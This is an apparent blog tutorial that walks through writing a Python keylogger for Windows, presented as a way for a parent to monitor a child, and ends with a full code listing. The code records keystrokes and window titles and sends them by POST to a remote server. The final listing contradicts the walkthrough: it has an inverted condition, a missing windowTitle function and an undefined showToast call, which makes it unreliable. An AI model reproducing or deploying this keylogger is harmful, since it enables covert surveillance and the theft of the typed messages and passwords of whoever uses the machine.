I had a strange need for a python keylogger today. Well, it doesn’t have to be python but why not I can code it out quickly and it is easily portable. My wife and I gave our daughter her first real windows computer with full access to the internet last week. As I am sure you know the internet is not the most kid-friendly place in the world. There are lots of bad things kids don’t need to be getting their way into. Sure you can check their web history but that doesn’t show you what they are saying to people on games like Roblox or why they went to Google Translate 45 times in one day.
Things you will need for this project:
- A Webserver (I use a Raspberry Pi locally hosted)
- A computer to keylog
- Python and Pip
Before going any further….
I am not responsible for what you choose to do with this code, this is strictly for educational purposes. What you do with it is your responsibility.
Let’s get into some code
Since we’re going to need to import a few libraries into our script so we don’t have to try to manually code it all from scratch.
from subprocess import call
try:
import requests
except:
call("pip install requests", shell=True)
import requests
You may know about python imports, but what happens if the target system does not have all the modules we need? We can use a standard python module called subprocess to install modules using pip. The above is pretty self-explanatory, were going to import the function call from the module subprocess. We are then going to try to import the requests module, if it fails it will fall down to our exception. The exception will install the module and attempt to import it again. Were going to do this for a few modules.
from subprocess import call
import urllib
try:
import requests
except:
call("pip install requests", shell=True)
import requests
try:
from win32gui import *
except:
call("pip install pywin32", shell=True)
from win32gui import *
try:
from pynput import keyboard
from pynput.keyboard import Listener
except:
call("pip install pynput", shell=True)
from pynput import keyboard
from pynput.keyboard import Listener
This next function is going to be super simple, we are going to use the win32gui module to retrieve the current focused window’s name and return it.
def windowTitle():
return GetWindowText(GetForegroundWindow())
We now have all our modules imported, and a function to grab the title of the current window. Now we need to create a class to log the actual keystrokes in a readable fashion. Let us initialize our class so we can get started with the meat and potatoes.
class LiquidLogger:
def __init__(self):
self.logs = ""
self.lastTitle = None
Since we want to be able to see our data we need a function inside our class to send the data off to a remote server somewhere (I am using a Raspberry Pi 4 with Apache/PHP7). We will be using urllib to encode our data before using requests to send it off to the server in a POST request. You will need to change your_path_here to be a path to a valid PHP script.
def submitLog(self):
ftitle = urllib.parse.urlencode({"data": self.logs})
requests.post("http://your_path_here/keyData.php?" + ftitle, data=ftitle)
We’re only going to want some keys to be recorded, we don’t care so much about the others so we’re going to use some conditional logic to get the keys we want in the next function. This is one of the main functions of the keylogger since it records the keystrokes.
def addKey(self, key):
currKey = ''
try:
currKey = str(key.char)
except:
if key == keyboard.Key.space:
currKey = ' {SPACE} '
elif key == keyboard.Key.enter:
currKey = ' {ENTER}\n'
elif key == keyboard.Key.backspace:
currKey = ' {BACKSPACE} '
elif key == keyboard.Key.alt_l:
currKey = ' {ALT L} '
elif key == keyboard.Key.alt_r:
currKey = ' {ALT R} '
elif key == keyboard.Key.ctrl_l:
currKey = ' {CTRL L} '
elif key == keyboard.Key.ctrl_r:
currKey = ' {CTRL R} '
elif key == keyboard.Key.shift:
currKey = '{SHIFT}'
elif key == keyboard.Key.shift_r:
currKey = '{SHIFT}'
elif key == keyboard.Key.up:
currKey = ' {UP} '
elif key == keyboard.Key.down:
currKey = ' {DOWN} '
elif key == keyboard.Key.left:
currKey = ' {LEFT} '
elif key == keyboard.Key.right:
currKey = ' {RIGHT} '
elif key == keyboard.Key.tab:
currKey = ' {TAB} '
else:
currKey = ''
if currKey != '' and currKey != None:
currTitle = windowTitle()
if self.lastTitle != currTitle and currTitle != '':
self.submitLog()
if self.lastTitle != currTitle:
self.logs = "Window [" + currTitle + "]\n"
self.lastTitle = currTitle
self.logs = self.logs + currKey
That last function was considerably longer than the previous ones. It is using pretty standard logic to process the keys, checking if it’s one key, if not move to the next. We also use a little logic to make the output prettier by adding a new line after every time enter is pressed and appending the window title before the keystrokes. One last function to go.
def run(self):
keyboardListener = keyboard.Listener(on_press=self.addKey)
keyboardListener.start()
input()
So that is our entire class, now we just need to add a little bit of code to call our class
keylogger = LiquidLogger()
keylogger.run()
So that is all the code! If you have any questions let me know in the comments below.
Full Code
from subprocess import call
import urllib
try:
import requests
except:
call("pip install requests", shell=True)
import requests
try:
from win32gui import *
except:
call("pip install pywin32", shell=True)
from win32gui import *
try:
from pynput import keyboard
from pynput.keyboard import Listener
except:
call("pip install pynput", shell=True)
from pynput import keyboard
from pynput.keyboard import Listener
class LiquidLogger:
def __init__(self):
self.logs = ""
self.lastTitle = None
def submitLog(self):
ftitle = urllib.parse.urlencode({"data": self.logs})
requests.post("http://your_path_here/inp/keyData.php?" + ftitle, data=ftitle)
def addKey(self, key):
currKey = ''
try:
currKey = str(key.char)
except:
if key == keyboard.Key.space:
currKey = ' {SPACE} '
elif key == keyboard.Key.enter:
currKey = ' {ENTER}\n'
elif key == keyboard.Key.backspace:
currKey = ' {BACKSPACE} '
elif key == keyboard.Key.alt_l:
currKey = ' {ALT L} '
elif key == keyboard.Key.alt_r:
currKey = ' {ALT R} '
elif key == keyboard.Key.ctrl_l:
currKey = ' {CTRL L} '
elif key == keyboard.Key.ctrl_r:
currKey = ' {CTRL R} '
elif key == keyboard.Key.shift:
currKey = '{SHIFT}'
elif key == keyboard.Key.shift_r:
currKey = '{SHIFT}'
elif key == keyboard.Key.up:
currKey = ' {UP} '
elif key == keyboard.Key.down:
currKey = ' {DOWN} '
elif key == keyboard.Key.left:
currKey = ' {LEFT} '
elif key == keyboard.Key.right:
currKey = ' {RIGHT} '
elif key == keyboard.Key.tab:
currKey = ' {TAB} '
else:
currKey = ''
if currKey != '' and currKey == None:
currTitle = windowTitle()
if self.lastTitle != currTitle and currTitle != '':
self.submitLog()
if self.lastTitle != currTitle:
self.logs = "Window [" + currTitle + "]\n"
self.lastTitle = currTitle
self.logs = self.logs + currKey
def run(self):
keyboardListener = keyboard.Listener(on_press=self.addKey)
keyboardListener.start()
input()
showToast("Liquid Windows Client", "Client Starting...")
keylogger = LiquidLogger()
keylogger.run()
Happy coding!